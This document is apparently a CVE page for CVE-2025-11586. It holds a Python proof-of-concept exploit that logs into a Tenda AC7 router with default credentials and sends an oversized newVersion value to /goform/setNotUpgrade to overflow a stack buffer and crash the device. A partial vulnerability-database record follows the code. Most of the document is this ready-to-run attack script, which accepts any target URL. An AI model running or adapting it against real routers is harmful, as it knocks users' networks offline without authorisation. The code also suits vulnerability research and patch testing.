CVE-2025-11586

#!/usr/bin/env python3 # CVE-2025-11586 - Tenda AC7 setNotUpgrade Stack-based Buffer Overflow PoC # Author: noahze01 # Target: Tenda AC7 firmware 15.03.06.44 # Vulnerable endpoint: /goform/setNotUpgrade # Vulnerable parameter: newVersion import requests import sys TARGET_URL = "http://192.168.0.1" LOGIN_URL = f"{TARGET_URL}/login/Auth" EXPLOIT_URL = f"{TARGET_URL}/goform/setNotUpgrade" USERNAME = "admin" PASSWORD = "admin" # Default credentials or brute-forced credentials def login(): """Authenticate to the router and obtain a session cookie.""" session = requests.Session() payload = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(LOGIN_URL, data=payload, timeout=10) if resp.status_code == 200 and "Set-Cookie" in resp.headers: print("[+] Login successful") return session except Exception as e: print(f"[-] Login failed: {e}") return None def exploit(session): """Trigger stack-based buffer overflow via newVersion parameter.""" # Overflow payload: 'A' * N to overflow stack buffer # Adjust offset based on target binary analysis overflow_payload = "A" * 1024 params = { "newVersion": overflow_payload } try: resp = session.post(EXPLOIT_URL, data=params, timeout=10) print(f"[*] Exploit sent, status code: {resp.status_code}") print("[+] If the router crashes or reboots, the exploit was successful") except requests.exceptions.RequestException as e: print(f"[+] Connection error (possible crash): {e}") if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL TARGET_URL = target LOGIN_URL = f"{TARGET_URL}/login/Auth" EXPLOIT_URL = f"{TARGET_URL}/goform/setNotUpgrade" sess = login() if sess: exploit(sess) else: print("[-] Could not authenticate. Provide valid credentials.")

{"cve": {"id": "CVE-2025-11586", "sourceIdentifier": "[email protected]", "published": "2025-10-10T21:16:06.320", "lastModified": "2025-10-20T15:50:18.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Tenda AC7 15.03.06.44. This affects an unknown function of the file /goform/setNotUpgrade. This manipulation of the argument newVersion causes stack-based buffer overflow. The attack is possible to be carried out remotely. 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